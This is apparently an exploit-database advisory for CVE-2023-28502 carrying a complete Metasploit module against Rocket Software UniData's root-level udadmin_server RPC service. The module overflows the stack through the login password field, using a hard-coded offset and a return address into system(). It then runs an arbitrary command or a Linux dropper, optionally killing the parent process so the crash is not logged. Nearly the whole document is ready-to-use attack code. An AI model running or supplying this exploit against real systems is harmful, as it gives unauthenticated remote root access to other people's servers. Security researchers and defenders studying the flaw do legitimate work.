Rocket Software Unidata 8.2.4 Build 3003 Buffer Overflow

Credit: Ron Bowes
Risk: High
Local: No
Remote: Yes
CWE: CWE-119

## # This module requires Metasploit: # Current source: ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Unirpc prepend Msf::Exploit::Remote::AutoCheck OFFSETS = { '8.2.4' => { # The amount of padding required to overwrite the return addr 'offset' => 0x2b8, # This returns to "mov rdi, rsp / call system", which means the # remainder of what's on the stack will be passed to system() 'return_address' => 0x412e25 } } def initialize(info = {}) super( update_info( info, 'Name' => 'Rocket Software Unidata udadmin_server Stack Buffer Overflow in Password', 'Description' => %q{ This modlue exploits an authentication bypass vulnerability in the Linux version of udadmin_server, which is an RPC service that comes with the Rocket Software UniData server, which runs as root. This vulnerability affects UniData versions 8.2.4 build 3003 and earlier (for Linux), but this module specifically targets UniData version 8.2.4 build 3001. Other versions will crash the forked process, but will not otherwise affect the RPC server. The username and password fields are copied to a stack-based buffer using a function that's equivalent to strcpy() (ie, has no bounds checking). Additionally, the password field is encoded in such a way that we can include NUL bytes. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ron Bowes', # Discovery, PoC, module ], 'References' => [ [ 'URL', '' ], [ 'CVE', '2023-28502' ], ], 'Platform' => ['linux', 'unix'], 'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD], 'DefaultOptions' => { 'RPORT' => 31438, 'PrependFork' => true }, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ], [ 'Linux Dropper', { # Used for auto-selection 'Version' => '8.2.4', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper } ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => '2023-03-30', 'Notes' => { 'SideEffects' => [], 'Reliability' => [REPEATABLE_SESSION], 'Stability' => [CRASH_SERVICE_RESTARTS] # The forked process can crash } ) ) register_options( ['EXIT_CLEANLY', [ true, 'If set, tries to kill the parent process with SIGTERM before it crashes', true]),'UNIDATA_VERSION', [true, 'The version of UniData target. Automatic detection is the default.', 'auto', ['auto', '8.2.4'] ]), ] ) register_advanced_options( ['UNIRPC_ENDPOINT', [ true, 'The UniRPC service to request', 'udadmin']), ] ) end # We can detect UniRPC by performing a version check, but the version number # didn't increment in the patch (only the build number did, which AFAICT we # can't access), so just do a sanity check def check @version = unirpc_get_version vprint_status("Detected UniRPC version #{@version} is running") Exploit::CheckCode::Detected rescue UniRPCCommunicationError => e return CheckCode::Safe("Could not communicate with the UniRPC server: #{e}") rescue UniRPCUnexpectedResponseError => e return CheckCode::Safe("UniRPC server returned something unexpected: #{e}") end def execute_command(cmd, _opts = {}) # Connect to the service and authenticate before running the command stager connect # Connect to the RPC service (probably "udadmin") vprint_status("Connecting to UniRPC endpoint #{datastore['UNIRPC_ENDPOINT']}") sock.put(build_unirpc_message(args: [ # Service name { type: :string, value: datastore['UNIRPC_ENDPOINT'] }, # "Secure" flag - this must be non-zero if the server is started in # "secure" mode (-s) { type: :integer, value: 1 }, ])) recv_unirpc_message(sock, first_result_is_status: true) # Pick a random username username = rand_text_alpha(6..20) # Start the password with random junk that writes to the stack password = rand_text_alpha(@offsets['offset']) # Append the return address password += [@offsets['return_address']].pack('Q') # Attempt to cleanly kill the parent process if we can (otherwise it # crashes) # # Because of how the payload goes onto the stack immediately after the # return address, we can't return into an `exit` call - all the parent # process can do is crash (which is logged). # # We CAN, however, prepend a command to cleanly kill the parent PID, making # it look like a standard exit (not logged). if datastore['EXIT_CLEANLY'] password += 'kill -TERM $PPID & ' end # End with the command, which will be passed to system() password += cmd # Check if the payload includes the `\xff` character, which will terminate # the string and break the module. This shouldn't ever appear in the actual # payload, which is base64-encoded, but this will catch a future return # address that would break the payload if password.include?("\xff") fail_with(Failure::BadConfig, 'Payload contains a 0xFF character, which will fail') end vprint_status("Authenticating to RPC service as #{username} with a stack-overflowing password") sock.put(build_unirpc_message(args: [ # Message type { type: :integer, value: UNIRPC_MESSAGE_LOGIN }, # Username { type: :string, value: username }, # Password (encoded by making each byte negative) { type: :string, value: { |b| (0x0FF & (~b)).chr }.join }, ])) print_status('Payload sent') end def exploit if datastore['UNIDATA_VERSION'] == 'auto' if @version.nil? vprint_status('Requesting the version number for automatic targeting...') @version = unirpc_get_version else vprint_status("Using the version number from earlier for targeting: #{@version}") end else @version = datastore['UNIDATA_VERSION'] vprint_status("Using the version number from UNIDATA_VERSION for targeting: #{@version}") end @offsets = OFFSETS[@version] if @offsets.nil? fail_with(Failure::NoTarget, "No matching target for version #{@version}") end # Run the command(s) case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end rescue UniRPCCommunicationError => e fail_with(Failure::Unreachable, "Could not communicate with the UniRPC server: #{e}") rescue UniRPCUnexpectedResponseError => e fail_with(Failure::UnexpectedReply, "UniRPC server returned something unexpected: #{e}") end end

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